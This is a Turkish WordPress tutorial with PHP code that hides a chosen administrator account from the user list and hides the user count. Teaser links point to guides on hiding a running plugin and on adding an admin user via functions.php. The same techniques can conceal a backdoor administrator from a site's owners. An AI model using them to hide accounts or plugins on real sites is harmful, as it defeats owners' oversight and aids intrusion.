Belirli Bir Yöneticiyi Kullanıcı Listesinden Gizleme

WordPress kullanıcı listesinde belirli bir yöneticiyi tamamen ya da sadece kendisi hariç herkes için gizlemek isterseniz, aşağıda kullanabileceğiniz birkaç kod parçası yer alıyor.

Bu güncellenmiş kod, yönetici hesabınızı kullanıcı listesinden tüm diğer kullanıcılar için gizleyecek şekilde tasarlanmıştır.

Aşağıdaki ilk kod, yöneticiyi herkes için görünmez yapar. Ancak yöneticinin kendini listede görebilmesini isterseniz, ikinci kodu tercih etmeniz daha uygun olacaktır.

add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;

global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != 'sysadmin'",$user_search->query_where);

}

Yönetici, kendi hesabını listede görebilsin.

add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;

if ($username == '<YOUR USERNAME>') {

}

else {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != '<YOUR USERNAME>'",$user_search->query_where);
}
}

“Tamam, yönetici listeden kaldırıldı ama üst kısımdaki kullanıcı sayısı hâlâ aynı” diyorsanız, merak etmeyin aşağıda ki kod işinizi görecek.

function hide_user_count(){
?>
<style>
.wp-admin.users-php span.count {display: none;}
</style>
<?php
}

add_action('admin_head','hide_user_count');

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

10 Nisan 2025

Eklenti Listesinden Bir WordPress Eklentisi Nasıl Gizlenir

Bu rehberde, bir WordPress eklentisini eklenti listesinde görünmeyecek şekilde nasıl gizleyebileceğinizi adım adım göstereceğim. Eklenti arka planda çalışmaya devam edecek, ancak listede yer almayacak. Bunu gerçekleştirmek […]
5 Aralık 2024

Functions.php ile kullanıcı ekleme

WordPress tema dosyaları içerisinde bulunan functions.php müdahalede bulunarak admin kullanıcısı ekleyeceğiz. Aktif olan temanızın functions.php dosyasına ulaşarak aşağıda bulunan kod bloğunu ekleyip kaydedin. ‘ kullaniciadi ‘ yazan yere […]